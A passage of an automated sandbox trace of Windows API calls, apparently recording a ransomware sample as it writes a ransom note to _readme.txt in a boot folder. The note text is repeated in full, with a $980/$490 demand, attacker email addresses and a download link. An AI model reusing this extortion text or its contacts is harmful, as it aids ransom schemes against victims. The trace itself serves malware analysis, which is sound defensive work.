hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.390] PathFindFileNameW (pszPath="C:\\Boot\\el-GR\\") returned="el-GR\\" [0066.390] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.390] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.390] PathFindFileNameW (pszPath="") returned="" [0066.390] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.391] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.391] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.391] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.391] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.391] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.391] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.391] PathAppendW (in: pszPath="C:\\Boot\\el-GR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 1 [0066.391] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.391] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.391] PathFileExistsW (pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 0 [0066.391] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.391] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.391] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.391] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3248800 [0066.392] CreateFileW (lpFileName="C:\\Boot\\el-GR\\_readme.txt" (normalized: "c:\\boot\\el-gr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.392] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0066.392] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x329cf20 [0066.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.393] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177118 [0066.393] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0066.393] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.393] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.393] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.393] CloseHandle (hObject=0x5c4) returned 1 [0066.394] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.394] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.394] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.394] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.394] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.394] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb31b3d70, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31b3d70, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.394] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.394] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb31b3d70, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31b3d70, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.394] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.394] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31b3d70, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb31b3d70, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31b3d70, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.394] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31b3d70, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb31b3d70, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31b3d70, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.394] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.394] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.394] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.394] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.394] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.394] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.394] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.394] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.394] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.394] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.395] HeapFree 